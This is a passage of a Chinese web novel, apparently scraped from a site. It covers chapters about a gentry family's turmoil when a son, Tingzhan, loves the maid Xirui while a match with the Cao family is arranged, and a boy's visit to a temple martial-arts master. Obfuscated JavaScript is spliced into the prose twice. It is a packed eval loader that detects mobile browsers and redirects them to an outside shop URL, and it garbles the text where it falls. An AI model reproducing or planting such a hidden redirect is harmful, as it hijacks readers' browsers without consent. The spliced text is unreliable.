方慧管中馈多年，历来抓大放小，水至清则无鱼的道理她懂，但有些底线，绝对不能踩。 婢女丫鬟私下勾引少爷，绝不允许！ 后院住的尽是姑娘，她不信哪个小厮有此等虎豹胆子，敢入了夜摸到后宅子里，正大光明地私会丫鬟。 东跨院的灯尚亮着，融融暖光透过楹窗，方慧听见闷闷一声响，是心脏重重落回胸腔的声音。 应当不是他…… 方慧抑着忐忑，推门，屋内冷飕飕的，她这孩子无论寒暑，就算是天上下刀子，也不曾耽误一日。 天冷，也不大燃炭，不至手冻得僵硬，影响书写便可。 外人都艳羡沈庭文一路顺畅，只她知晓求学之路的艰辛。 沈庭文抬眼望来，方慧怕打扰他，忙道：“无事，母亲只是来瞧瞧你。” 未瞧出异样，方慧用目光指使伺候的人出来，问他是否有出去过。 “没呢！”对方诧然，复笑：夫人知道少爷的。” 快到会试，沈庭文比往日还要刻苦。 方慧松了压在心头的大石。 一改来时沉闷，欢天喜地地去了，走不远，步忽停。 府中统共就两个成年的少爷，不是沈庭文，会是谁？ ——会是谁，在后花园里做那等龌龊事？ 回去的路上，许窈娘一直在想此事。 她觉得，不像沈庭文，他不是这性子，袭蕊模样娇俏、一等一的美人，朝夕相伴，都未松口。 倒是像沈庭瞻能做出的事，去年开始，不知怎的，去了以往从不肯去的地儿，还成了常客。 许窈娘心不在焉，七上八下的。回到凝春堂，第一件事就是去跨院瞧沈庭瞻。 他恭顺问安，只眼睫低垂，掩住情绪，叫人窥不得。 许窈娘细细分辨他神色，落去打量视线，瞧见衣裳，发紧的心渐渐松开。未换，依旧是上午穿的那件。 许不是他。 也许真是她多想，就像四姑娘说的，风过林啸，肩微松下，人泄了紧张。 “庭箫胆子小，路过后花园被吓到，我来瞧瞧你。” 沈庭瞻默然半晌：“他眼干净，许是真瞧见了不干净的东西。” “大晚上的，胡说什么，也不怕被过往神佛听——”许窈娘不满，装嗔似地剜他一眼，视线正掠过他身后橱柜，那里挂着盏灯。 是一盏缀有宝盖璎珞的红纱灯。 府里的少爷，素日用的纱灯，都是通素的。 这种，是姑娘用的。 方慧的话蓦然响在耳畔，“这么晚的天，你们来都没提灯的？也不怕磕了碰了。” 许窈娘呼吸发紧，“……你去后花园了？” 这么晚的天，哪有不提灯的。 沈庭瞻手中的，当是沈长宁的。 沈长宁既遇见了，怎的不说？ 许窈娘紧盯着沈庭萧，气得手颤，“是谁！？” 沈庭瞻不吭声，只撩衣摆，直挺挺跪下。 10. 重开宴10 他知道母亲定会来寻他。 只有小孩子和几个妹妹才会误以为是闹鬼。 沈庭瞻知道瞒不住，也未想瞒。 沈长宁赠他一灯，他知晓她的意思，她希望他多想想，想想两个人的路到底该怎么走。 可还用想什么？ 沈庭瞻叩伏在地。 许窈娘压住一股怒火，“到底是谁！” 哪个院的贱蹄子！敢背着她，私下勾引府中少爷。 曹六爷明日就要来了，二人今日还厮混！若不是被沈庭萧窥到，她还不知要被瞒多久。 许窈娘怒从心起，气极反笑，“沈庭瞻，你现在说，我给你三分薄面，放她条生路，你若不说，待我查到，定给她发卖了！” 沈庭瞻唯有沉默。 二人静静对峙，许窈娘终拂袖而去，让两个嬷嬷守在门前，表情冷冷，少有的端肃严厉。 沈庭瞻一人独跪。 袭蕊说那番话，是出自真心的，他知晓，她找他时，眼睛狡黠得像个小狐狸，处处透露着算计。 袭蕊让他走他的阳关道，又央求他，看在二人好一场的份上，给她些银子。 沈庭瞻自嘲笑笑。 她总不信他。 不知多久，他起身，提起灯笼，让门口的仆妇给四姑娘去。 仆妇诺诺，不好不应，又不敢应，问过三夫人，见其松了嘴，方敢接，临至院门，又被许窈娘的人拦住，许窈娘亲自去。 两廊的明角灯尽数燃起，遍照庭院，却渗不透沈长宁躺在床上，想着方才遇见沈庭瞻的事。 前世他未选择曹氏女，是不是就着那不知名的人？ 可到底是谁？ …… 许窈娘入碧霄阁，心里尚压着一股散不去的火，她想知道，到底是谁！ 沈长宁披衣起身，见她，诧然去迎：“叔母？您怎的这晚来了？” “庭瞻要还你的灯，我正好无事，就来瞧瞧。” 沈长宁算是知晓了许窈娘的来意，她盯了半晌，终发现自己的灯笼穗子和沈庭瞻用的不同，不禁莞尔。 许窈娘试探着问，她在后花园都瞧见了什么。 沈长宁复述自己见沈庭瞻的过程，解释灯去来由因：“二哥哥送我到伯母院，我见他未拿灯，怕摔了，就将自己的灯递他。” 许窈娘心绪沉沉。 她走后，沈长宁提起灯，欲吹熄灯烛，可无论怎的，都吹不灭。 沈长宁迟疑，剔起灯，瞳孔缓缓放大—— 烛下竟有个约莫大拇指大小的细细竹筒。 她展开。 是五千两银票。汇票书写人与分号掌舵的批字清晰可见。 沈长宁默然。 总不该是给她的。 那给谁？ 银票展开，暴露真颜，一行指甲盖大小的纸张飘落，沈长宁呆看两息，其上几点横竖高低不一的墨痕。 这是……什么？ 杂草吗？ - 正院。 方慧伺候沈钦脱衣洗漱，满脑子都是沈庭瞻的事，总晃神，沈钦笑她，明明是庭瞻的婚事，弄的像自己孩子似的。 方慧的手停住，本欲搭在熏笼架上的外衫，又被她放了下来，微微托地。 沈钦本笑，现在他笑不出了，忙让仆妇去接。 忙拉过方慧的胳膊，让她坐在床边。 怎真的精神恍惚了。 “你呀！”沈钦拊掌笑，喜不迭，“欢喜糊涂了！” 方慧挣脱开，心里烦着，恼：“你不懂！” 这婚事能不能成，成了后又会怎样，她是真说不好，一想起来就犯嘀咕。 曹家可不是寻常商贾。 晋中四大家族，曹家正是其一，大庆各地，都有商号。 依着常理讲，工农士商，商排最末，历经数朝，现在的朝堂已然废除商户之子不能参加科举考试的律法。许多家族，纵使经商，也未歇了让孩子读书的心思，让其走仕途，反过来哺育家族。 晋中不同，摒弃旧俗，将“商”拔到了与“工农士”同样的地位，多加褒扬。弃文从商者，并非偶例。 曹家几个大老爷，见官都可不拜。 沈庭瞻和家中的丫鬟勾勾搭搭的，新夫人进门发现，可有得闹。 沈钦顺着她的话说，一个揖地道歉：“我不懂，我晓得，我晓得。” 方慧娇睨他一眼。 算了。 左右是三房的事，盼着菩萨保佑，明日相看顺利。 想着想着，袭蕊叩门求见。 她是伺候在沈庭文身边的，方慧见天色大黑，她忽来，生怕沈庭文出事，让她等等，低头整理番衣襟，快步去了。 袭蕊跪在地上，给方慧磕了三个头。 方慧心疼惊愕：“没到年节的，行大礼做什么？” 袭蕊抬头，杏眼盈盈，她也有些舍不得方慧，但她要出去过好日子了，袭蕊擦了擦眼角：“夫人，我想通了，您放我出去吧。” 袭蕊漂亮、待人接物又温柔小意，几个打小买进府中的婢女，她最喜欢的就是袭蕊，不然也不会放在沈庭文的屋子里，还欲开脸后抬做姨娘。 沈庭文拒绝时，让她好生没脸，瞧见袭蕊痴情苦守，更是难受。眼瞧着三四年过去，袭蕊终于想开，激动得热泪盈眶。 “好孩子，明儿我就去取身契。” 方慧让贴身嬷嬷额外备了八十两银子，给她傍身，算是全二人的主仆情谊。 淡淡的愁绪被这事给冲淡了，方慧回去笑吟吟的。 不同于正院等处的祥和。 三房气氛一片冷凝。 三爷沈鑫素来疼爱孩子，刚归时，本还笑呵呵地劝，一听何事，顷刻间勃然色变。 他看着静然跪地、不言不语的沈庭瞻，终从他的神色里瞧出了真实意思。 最少是要抬做姨娘。 沈钦气不打一出来：“曹家姑娘还没入门，你、你……你让我说你什么好！” 沈庭瞻终开口，长睫垂下，让人辨不清此刻情绪：“我不会娶曹家姑娘的，明日我自会与六爷言说，不让父亲母亲为难。” 他要娶，就娶袭蕊。 沈鑫惊了：“你发疯病啦？！”他声调急急：“还是你吃菌子中毒了？” 娶一个贱女为妻？ 真是疯了！ 许窈娘攥着帕子掩在胸口，气得连说话的力气都没有，浑身哆嗦轻颤。 谁说她这儿子不像父亲的。 沈鑫是惊多于怒，她是怒大于惊，还有刻在骨子、不愿露于人前的恐惧。 当年沈鑫，也是这般跪在老夫人面前，连连叩头，以死相逼，迎她进门的。 她实在感激沈鑫。 刚瞧见他时，她满脑子都在想，成不成的，到底要为自己拼一次，老天爷既生她一场，总不会让她就此死去。 老天到底待她不薄，让她遇见了三爷。 彼时公爹尚在，顶上两个兄长亦有才名，老夫人给沈鑫相看了个官家小姐，满意极了，眼瞧着要定下，到底拗不过，说尽好话，和和气气、体体面面地将婚退了。 初进门，她受了老夫人不少刁难。 许窈娘坐在椅子上，耳侧嗡然。 跪在地上的分明是沈庭瞻，眼前却总浮现出沈鑫的影子，两相杂糅，让她心里发酸发胀发痛……连带着发怒。 既恨他不成器，又恨他不争气。 怎就相看上了一个贱藉。连良人都不是，是个卖身的奴！哪能抬做正头娘子。 许窈娘再问，声都变得微微尖锐：“到底是谁！” 沈庭瞻不答。 她娘，约莫是不会留情的。 她会将她赶出去，或者发卖了。 许窈娘自认不该是自己院子里的，不然她不会今日方知。 也不大像是沈长宁院子里的，她那才多少人，不是嬷嬷就是即将成为嬷嬷的，全都是昔日伺候二房的，沈锡夫妇死后，人未遣散，都留着。年纪轻些的，只沈长宁身旁的倚云，还有沈庭萧身边的一个。 许窈娘轻声：“是你大伯母院子里的，对不对？” 她在猜，语调却是定的。 沈庭瞻神色有瞬间的僵硬怪异，他竭力恢复，到底露了破绽。 许窈娘缓缓闭目，“明日你乖乖的，我留她一条命。” “娘！”沈庭瞻终含泪泣嚎。 许窈娘身子有些站不住，这一声，沈鑫当年也喊过。 当时的心尽被甜蜜塞满，此刻，同一声，竟撕开了她的魂。 许窈娘嘴唇动了动，忽不敢去瞧他：“……娘是为你好。” 她边说边向外走，走到门槛处，停下，闭目平复情绪，“你不娶也要娶。” 父母之命、媒妁之言，也不是非要他点头，才能娶亲。 至于拜堂，她有一万个法子。 方慧院子里的姑娘多，每次府里新买了人，方慧都要挑拣几个好看的留下，说瞧着就欢喜，养人眼。 也就是她院里两个爷，瞧见什么，皆不动如钟。 沈庭瞻哀看他父亲。 沈鑫手泄力长叹。 造孽啊！ 他恨铁不成钢：“外头那么多姑娘你不找，偏找家里的！还找个……”找个为奴做婢的。 这叫什么事！ 沈鑫不是个看重门第的，不然当初也不会非许窈娘不娶，将家里闹得鸡犬不宁。 可许窈娘到底是正经人家的姑娘，是良籍而非贱籍。 沈鑫压低声音，低低斥责：“正经的小妾都得由正头娘子一手提拔出来的，婚前如此，你太不像话了些。人家嫁人了，又不是成佛了，哪能事事忍你！” 沈庭瞻凄然一笑：“爹，我认真的，今生若不能娶她为妻，儿子情愿终身不娶。” 沈鑫顷刻间觉得完蛋，真爱。 很难形容此刻感受。生气，自然有。 可面上还有一股微妙的得色。 果然是他的种…… 这份魄力与性子，旁人可生不出来。 他嘱托伺候的，等下拉沈庭瞻起来，明日贵客来，莫被看出端倪。 许窈娘回去后，坐在床上，呆愣愣的，沈鑫回来，见她模样，顿时心疼。 许窈娘终忍不住，掩面哀哭。 她捧在掌心，养了十七年的孩子，怎就猪油蒙了心，瞧看上个婢子。 - 次日，曹六爷携夫人林氏递了拜帖，登门拜访。 许窈娘早早起床梳妆。 她为这日准备了许久，新裁了衣服，打了首饰，越临近日子越期待着，如今日子真到了，竟是一点心情都没有。 透过铜镜，纵再娇柔貌美，长眉如柳，也只觉眼下皱纹又多了一条。 迎之前，她特去寻沈庭瞻。 未说话，但内里意思，他该懂的。 沈庭瞻拱手，“儿子但听母亲教诲。” 到底是沈家子嗣，他不会娶曹家姑娘，却会在今天保全沈家颜面。 他是倚着沈家长大的。 他欠沈家的恩情，一辈子还不清。 巳时三刻，曹六爷携夫人登门。 今日是个大晴天，阖府上下，满是喜气。 许窈娘亦笑，可仔细看，眉梢眼角，总带着疲累。 曹六爷入门，笑着抱拳问老夫人安，夫人林氏同见礼问安。 婚丧嫁娶的大事，不好轻易表露，沈家未下聘，对面只当没这档子私下言说的事，这次来府，名义是给拜会老夫人、送些节礼。 曹六爷年轻时本算清秀，到了年纪则开始发福微旁，多了富贵亲和之气。夫人林氏略落后他半步，笑谈间娴静有礼，进退有度，尤善说话之道。 老夫人笑向其致意，请其上座，一行人粗聊两句，又让府里的子女依次过来见人。 曹家此次借着三房旧交的名义上门拜会老夫人，若无子侄迎来送往，总落人脸面，显的家蕴浅底薄，连个撑场子的孙辈都没有。 众人一一见礼，曹六爷笑回，托人送了节礼。 曹六爷赠了老夫人一套文房四宝，给其致歉：“合着规矩，本该正月拜会您老，但您知晓，我们这些做生意的，片刻不得闲，年后家里要在蜀中州府再添票号，短时间内怕是抽不得身。” 老夫人笑：“我晓得，我晓得。年轻时候随丈夫去过晋中，曾与您家老爷子见过一面，当时便觉不凡，如今一瞧，当真龙凤。” 老夫人其实本想着让沈庭瞻娶个官家女儿。 她与其他老人家一样，最偏宠的就是长孙与小儿子。如今，都在三房。 沈鑫娶许窈娘，她当初是一万个不同意。 沈家当时正盛，攀不上豪绅巨族，也能娶个读书人家的姑娘，却偏和还未与夫家和离的妇人好上。 许窈娘是温顺，事事听她的话。 可长房娶了方慧后，仕途眼瞧着节节高，日子过得风风火火，养住的一儿一女，各个不错，尤其是沈庭文，极有沈锡当年风范。 纵使她羞于承认，也不得不承认，沈家若能再出个如沈锡般延续祖辈荣光的人，三五十年内定不会在维持富贵一事上忧心。 二房娶了姚虞君，短短几年，就升了盐道，成了天子近臣。 唯独三房娶了许窈娘，一晃小二十年过去，日子还和刚成亲那会儿似的，平平淡淡、不见起色。膝下两个孩子，瞧着也不太成，一个不省心，另一个又身子弱，撑不起高门主母的担子，上嫁太难。 老夫人先给其瞧过沈庭瞻，曹六爷先前见过，极是喜爱。 面相清隽俊秀，举止亦有度，待人待物时，眼神不飘，行止不乱，胸中自有沟壑。少年能得此心性，实在难得。 老夫人又笑给曹六爷介绍沈庭文，提起这个孙子，是口头心里、表里如一的喜欢：“这是沈家三郎，沈庭文。” 沈庭文拱手行礼。 曹六爷知道他，秋末沈鑫托他买了块好玉，说是长兄家的二子过了乡试，要带回去贺喜。 曹六爷起身回礼，不由打量，但见一张肃立、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773618|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端严的脸，眉目高挺、骨相清隽，一如长青松柏，凛凛长青。 还未弱冠，却自生出一股沉静肃穆之感。 曹六爷赞叹连连。 他自幼随父经商，便走天南海北地走，瞧过许多人，见过许多事。 此子，定有可为，来日怕要多多依仗。 老夫人闻其言，眉眼生笑。 读书与当官，尤为费银子。 沈家传承六辈，有中了进士当官的，也有碌碌无为的混世魔王，但更多的，走的还是稳中求胜的路子，不求名盛一时，唯求富贵平安—— 自己这一代眼瞧着不行，就转守家，边经营着祖辈留下的田庄铺子，边去扶持族内其它仕途有望的孩子，同时再将自己的孩子送去学堂读书识字，拼了命地求祖宗保佑，让家族长盛不衰。 她这支命好，三代长盛不衰。 曹六爷与其结亲，怕是生了来日照拂之心。 她倒是多想。 曹家经营的生意，到底庞大，常触达官贵人。 曹六爷只是因着喜爱沈家家风，两代父子为国事尽忠尽孝而亡，三个儿子还都不喜小妾通房之道。 沈鑫每离家，间隔十日，不管距离京师多元，都要写家书托人捎回去，免得夫人惦念。 他听着，和夫人林氏也探讨过，都觉得沈家的家风不错。 父母如此，想来孩子差不了。 他们不盼着借到多少力，只想着让女儿去个稳当妥帖的人家，过几天好日子，也算尽了生养的情分。 曹家儿郎多，曹六爷比不得几个兄长能言善辩、经商有道，但却很得父亲喜爱，只因着行事中庸不冒进，每每做事，都要走一观十三，万事妥帖后，方肯踏步。 老夫人再与其夫人林氏说笑，让其瞧瞧沈家的姑娘们。 林氏笑叹：“沈家的姑娘，是真真的，就恨我头生的儿子已娶了妻，不然定要娶一位回家。” 她是真喜沈府的四姑娘。 垂首屈膝间，温柔安静，无论瞧谁，眼里都是柔软的—— 沈长宁到底不是十五岁，而是多活了十年的二十五岁，哪还真的有心思拌嘴生气。 上辈子太累了，还不如狗。这辈子，她就想做条安然度日、偶尔翻个身的小咸鱼。 吵什么吵？斗什么斗？ 林氏喜爱她，总瞧。 沈长宁在听沈宝婵和沈妙仪斗嘴。 位置当按着次序坐，沈妙仪却想和沈宝婵换个位置。 沈妙仪：“我怎么？我想四姐姐了。” “平时不见你想，现在装什么？”沈宝婵微笑道。 沈妙仪说起话来，眉眼鲜活，似嗔带喜：“我每日想谁，还要告诉你？” 她嘴厉害，不肯饶人，惯爱出讥言，沈宝婵每次都说不过她。 沈宝婵看着她，震惊不已。 可嘴每到关键时刻就不争气，什么都说不出来。 她心里唾弃自己。 呸！这张破嘴！ 沈妙仪轻笑，活像个得逞的娇俏小狐狸，“原是我扰你不成，也不能扰四姐姐？” 沈宝婵手轻转着帕子，“你可少说些，等下惹恼了伯母，轻易可饶不得你。” 沈长宁听着笑。 眉眼弯弯，活像沾了露水的芙蓉花。 此种场合，男眷们间才是重头戏，女眷们并无什子人理，前面偶尔发出几声畅快的笑，沈长宁微微偏头，是沈庭瞻在与曹六爷说话。 两人相谈得极佳，曹六爷眉目间满意之色愈浓。 ……前世到底是怎么走到那等地步的？ 婚事又到底是如何退的。 沈长宁百无聊赖，想起沈庭瞻昨日送来的银票，他定是要让自己交予他心爱之人，可那画，她猜了半晌，无甚头绪，说是杂草，不大像，说不是，实在找不到更贴近的。 人向大房方向翘首。既要让自己代送，想来并非三房人。她院里不可能，只剩下大房…… 大房，名字与草木沾边的可不少，几乎皆是以梅兰竹菊、春秋冬夏的时令风雅之物为取名要字。 沈长宁瞧了几个，视线忽落至沈庭文身后。 那里站着一人，模样娇俏，双眸含水，瞧人时俏生生的，格外顾盼多情。 是袭蕊—— 大脑闪过什么。 沈庭瞻画的许不是草，而是花蕊。 他心中之人，是袭蕊！？从小到大伺候在她三哥哥身边的袭蕊？？ 沈长宁：“我的老天爷……” 这要是让两房知道了，得闹成什么样？ 二人皆厌恶婢女勾勾搭搭地缠着府里的少爷，最关键的，袭蕊是沈庭文院子里的贴身婢女。 此事若真闹开来，到底是方慧恼沈庭瞻的不规矩、不知廉耻，惦记弟弟房中之人。还是许窈娘恨大房毁了她一桩好姻缘？ - 袭蕊偷偷打量几眼沈庭瞻，见他眉目冰冷，终不肯向自己方向瞧看哪怕一眼，惘然中竟横生了一股畅快。 果然。 忘了她吧。 就是他真不给自己银子？自己明日就要走了，银子现在还没影呢。 - 许窈娘与方慧明面上在招待曹六爷与夫人林氏，实际上都留意着沈庭瞻的方向，想瞧瞧，目光向何处落。 可沈庭瞻整场下来，直至开午饭，都未见他目光旁落到任何一人身上。 方慧暗叹，许真是自己多想。 许窈娘心里不是滋味，他可真是护着她，还是她根本没出现在今日的宴会上？ 晌午开饭。 男女分席而坐，两桌隔了个落地紫檀木苏绣屏风。 众人宴饮不停，连平日滴酒不沾的沈庭文，也跟着浅酌两杯。 曹六爷几轮饮酒，脸上耳廓略生薄红。 沈庭萧坐在他斜对角，曹六爷对他颇有眼缘，说过年送他份礼。 沈庭萧放下筷子，行礼拜谢，又问过他的住处。 曹六爷诧然。 沈庭萧：“姐姐自小教育我，来而不往非礼也，先生送我礼品，是爱怜我幼小。我给先生回礼，是拿先生当家人，越是家人，越是要感恩。” 曹六爷抚掌而笑，“你能送我些什么？即是长辈给的，就该收着。” 这般年纪的孩子，多不讨喜，反讨嫌。 没想到，沈锡虽早逝，孩子却不落他昔日半分，实在是规矩守礼。 …… 饭毕，恭送走曹六爷和林氏。 沈长宁去方慧那。 方慧笑问去何处。 沈长宁说找沈宝婵玩，方慧：“约莫在你哥哥院里呢，袭蕊明儿就要离府了，她很是舍不得。” 沈长宁笑吟吟地说好。 她进门，袭蕊正用帕子擦沈宝婵脸上的泪。 沈宝婵是真舍不得袭蕊，两人一个院的，打小一起长大。 袭蕊笑她哭花了妆，要给她补胭脂。 起身去她院子拿，出门正撞沈长宁。 或者说，对方在守株待兔。 11. 重开宴11 袭蕊脚步一踟蹰，没由来地忐忑了下。 昨晚回来，她去寻方慧，对方略略问了句，正院里头近来可有异动，说庭萧少爷在后花园撞见了不干净的东西。 袭蕊心登时跳停，脸色僵了瞬，好在方慧未疑到她头上。 从正院出来，冷风一吹，才发觉前胸后背，不知何时，腻了层薄汗。 沈长宁不是大房的姑娘，不过因着常来请安，两人打过照面，偶尔还会说笑几句。 袭蕊微微垂目。 只盼着不要是因着那事来的。 方慧已将身契交给了她，只带明日去户科找个小吏，将自己自奴籍变为良籍，此生就自由了。 真是莫要再纠缠了。 想法只在一瞬间，来的毕竟是四姑娘，不是两房夫人，许是她多想了呢？ 真是疑神疑鬼，就像沈庭文小时候将给自己的杯弓蛇影之事。 袭蕊敛去一瞬即散的惊愕，笑问：“四姑娘可是来寻五姑娘的？” 沈长宁笑笑。 周遭没什么人，她常来寻沈宝婵，众人瞧得多了，并不在意。 沈长宁伸手，拉过她的，轻轻在她掌心放了个东西，未说什么，提裙入门，去寻沈宝婵。 掌中东西，细窄而圆长，应是个系在信鸽腿上的信筒。 触感凉沁，又被自己掌心的热度染上温意。 袭蕊忽觉手被灼了下。 沈长宁进里，安慰沈宝婵，沈宝婵哭得不能自已，纵不掉泪了，一整日也闷闷不乐的，沈妙仪来找，瞧望两眼，静静走了。 总得自己想开。 屋内重归安静。明日便要走了，方慧让她好生歇歇，不必去院子里伺候人。 袭蕊坐在帘帐内，扒掉信筒上的盖子，露出内里东西的一角。 纸张微黄而厚，瞧得见隐约透至背后的繁复纹路。 是银票—— 心如擂鼓，怦怦然作响，轻轻拿出展开，看清数额那瞬，袭蕊呆住。 ……他哪来的这么多银子？ - 三房氛围一如既往的冷僵，不管许窈娘是劝是怒，都不曾开口，惹的许窈娘直掉泪珠子。 沈庭瞻唯余沉默。 沈鑫瞧看两日，倒是心软，松了口。 不行就抬做姨娘吧！ 到底是自己的亲生骨肉，为人父母的，哪会不心疼？ 他去扶，“好孩子，快起来，父亲帮你和你母亲说。”这都跪了快两个时辰了，冬日天寒，再跪下去，真是要落病了。 沈庭瞻轻声：“我要娶她。” 沈鑫笑。 这孩子，和他年轻时候一样。 “你先将她养在外面，等过个两三年，日子稳当了，风风光光接近府做姨娘——” “我要娶她做正妻。” 沈鑫差点被他给哽死，大惊失色：“你、你——你疯啦！！” 抬个奴婢做正头娘子，传出去，他的老脸往哪搁！！ “谁让你起来的！给我跪下！！”沈鑫恨铁不成钢。 造孽呦！ - 次日早，袭蕊恭恭敬敬给方慧磕了三个头，离了沈府。 沈长宁同送她。 沈庭瞻今早病了，众人去给老夫人请安，他都未来。 老夫人不由问。 许窈娘说他病了，年节将至，怕过了病气来。 沈长宁默然。 沈庭瞻大概不是病了，而是被罚了。 昨儿许窈娘提灯来，她就想，对方当是知道了，但袭蕊能安然无恙地走，沈庭瞻……未吐口。 沈长宁知晓他心事，替他来送。 方慧、沈宝婵，及沈庭文，同来。袭蕊一一拜别，沈长宁站在沈庭文身侧，袭蕊路过沈庭文时，瞧见沈长宁的衣裙，终难掩心中酸涩，眼眶泛红。 她朝沈长宁盈盈福礼。 也算……拜别了沈庭瞻。 方慧竟生出嫁女之感，转身拭了拭眼角。 如今只是袭蕊，来日她膝下姑娘出嫁，可不得哭死。 - 来日就是二十八。 府里渐生热闹，来去的丫鬟仆妇瞧见了彼此，叽叽喳喳的，说的都是新年之事。 沈长宁沈庭萧去拜会族学中教书的老先生。 将赠礼交给看守大门的仆役，二人随仆妇一路前行。 沈庭萧用自己的银子买了块松烟墨。 老先生当日实在被吓得不轻，心里感动，身子却又不敢动，实在是怕了他。终还是敌不过喜爱，抬起手，搭在他头上，爱怜地摸了两下。 谈笑间，说起习武一事，老先生捋须而笑。 ……希望他日后师父，是个禁折腾的。 老先生家的花凌霜而开，正是盛期，香气满园，走时，老先生让家丁折了几枝，赠予二人。 老先生住的是祖辈传下来的老宅子，里头的梅树，已长了许多年头，每到花期，求梅之人络绎不绝。 沈长宁携花回府，给沈宝婵与沈妙仪各送去几枝。 沈宝婵还在惦念着袭蕊，见她来了，也只略略说两句。 沈妙仪倒是欢喜。沈长宁带回的梅，明媚鲜妍，只俩枝，便让满室生香。 她寻了个青釉刻花卉纹的梅瓶，将花养在里头，问她从哪寻的。 沈长宁讲了过程。 沈妙仪弯眼，她还记得沈庭萧当日模样。 沈长宁还要带沈庭萧去洗心寺见过师父，不得多待，临走时，瞧看眼东跨院的方向，但见院门紧闭，周遭仆妇不离，想必是被禁住了。 - 沈长宁给他寻的师父，法号澄秋，是洗心寺武僧一派开山师父的关门弟子，今年二十又三。 一路悠荡。 临近新年，各路人家，无论穷富，都要答谢祖宗，寺庙香火尤盛，今日又是年终祭祀日，车来人往。 还未到山寺中央，便瞧见细密丛烟，旃檀香直冲云天，仿若要将寺庙都带到西天里头去。 禅房静幽，小径曲路，僧团诵佛念偈声不停歇。 二人随小沙弥来到一处练武场。 内里有一孩子，身量与年纪瞧着都与沈庭萧相仿，正练习拳法。 澄秋站在他身前，听闻身后声响，转身回望。 眉眼正然，英气十足，一身肃静至极的海青禅衣。 他站在台阶处，身旁是古朴高耸的青瓦殿宇。 一双眼望来，湛然若神，像极了静默伫立的罗汉像。 他年中刚开始收徒，至今，也只有一位徒弟，便是里面这位。 澄秋对沈长宁合十双手。 沈长宁回礼。 二人男女有防，不便太近，也不便说太多，许多事，姚家已讲与寺庙。 澄秋请她去茶房。 入门后，门扉敞开，内里另有两名僧人。 沈长宁备了六礼束脩。 俗世间正常是芹菜、莲子、红豆、红枣并着桂圆和干瘦肉条。 但佛家忌讳荤腥，就将芹菜与干瘦肉条换成茶叶与五色坚果。一同递来的还有姚家托她送的水馅素包子。 她外祖父如今人在胶东，说是胶东当日的特色。 外祖父与洗心寺监寺大和尚是旧交，姚振卿又做了祠祭司郎中，更添了层善缘。 外祖父信中说，他给洗心寺的监寺也写了信，要给他们尝尝胶东特色。 - 沈庭瞻没跟着来。 他正在习武场，和刚才入目瞧见的孩子，比试。 两人已自我介绍，知了名姓。 对面那人名叫谢真，比沈庭萧大四个月。 谢真给他表演棍法，又炫耀地展示枪法，让沈庭萧叫他大师兄，沈庭萧叫了，想想，又认真道：“你用的的枪法我学过，我觉得我打得比你好。” 他启蒙师父出身军营，教过他棍法。 沈庭萧给他表演了一套。 二人最开始还是在争论谁的动作更标准流畅，后面就变了味儿，你偷偷用棍子戳我一下，我绊你一脚。 事情逐渐白热化—— 沈长宁和澄秋的脚步声想起，二人视一眼，都从对方眼中窥见了恐惧，顿时礼貌收手，还互相帮着拍了拍灰。 两人下手皆有默契，不向对方脸上招呼，竟也瞒了过去。 沈长宁和澄秋师父福礼道别，带沈庭萧回去。 沈庭萧和澄秋师父礼貌合十双手，走在最后面，一瘸一拐地走，时不时揉揉腰，搓搓屁.股。 回府的路上，更是难挨，根本坐不住，干脆掀起轿帘，用看雪景与来往间担浆提壶的途贩夫走卒的借口，吹了一路雪风，站回去。 怕自己惹沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他一定看出来了。 谢真脚步缓停，双.腿似绑了秤砣，再没敢向前走，扎实的压迫感如影随形，大脑下意识的要张口坦白。 理智与私心天人交战。 现在坦白，会被教训。 现在不坦白，来日被知晓，更会被教训。 他不敢保证，万无一失，纸终包不住火，谢真回来， 他一步步挪回原处，“我在洗心寺，好似惹了祸。” 一切和盘托出。 他试图让秦均行心软些，说被打得很痛。 秦均行自嘲哼笑声。 明明在笑，却听不出喜，落在谢真耳中，只觉寒：“你是说，他习武只一年，根基打的竟比你还牢固，你挑衅不成，反被打？” “而这个人，本该是你师弟。” 每说一句，谢真头就垂低一寸。 他无声地盯了他几息，尾音冰冷上扬：“这就是我教出来的弟弟？” 谢真不知如何回复，诘问让他愧悔难言。 他本意是想耍威风，哪里想到，竟会闹到这等地步。 谢真在他注视下，舌根蔓延出一层苦涩，他今天不该逞能的，被打就算了，枪法还被偷了。 “你能带我去找他道歉吗？” - 腊月里的天，黑得早。 谢真自秦均行处出来，天色已然渐暗。 夫人派人来传饭。 秦均行没让他走，只让人将饭送来。 谢真大脑放空，思维顿住。 自他说完去道歉的话，秦均行一脸平静，并未说什么。 可越这样，他越不安。 秦均行以往脾气，并非如此。 谢真盯着饭菜，心头晃上三晃，秦均行依旧无言，心头压着事，他吃得慢，只顾着扒饭，半碗饭下肚，菜未吃两口。 碗底出现抹翠绿。 谢诏惊愕抬眼，碗里再添一鸡肉。 是原谅他了吗？ 悬着的心石轰然坠地，本如蜡般的饭菜，在嘴中复生了滋味。 饭毕，他主动起身，帮伺候的嬷嬷撤下碗筷。 未曾想，再抬头，但见秦均行拎着皮鞭，眼眸漆黑，倚在门边，不知看了他多久。 12. 重开宴12 鞭杆的材质是皮革，鞭梢材质却是由熟牛，纤细，韧极。向上，捆着根细细打磨过的翠竹作为手柄。 这种鞭子，挥打起来轻盈，又可连击。 秦家孩子，不是孩子，是一件能为家族延续荣光的物件。纵使不是，连年的成长途中，也变的是了。 他们不是家人，是将领与可舍弃的士卒。 谢真惧然看着鞭子。 纵使母亲是秦家儿女，但到底外嫁，他亦姓谢，不姓秦。 秦均行小时挨过的军棍，打不到他的头上。 可鞭子已足够让他惴惴难安。 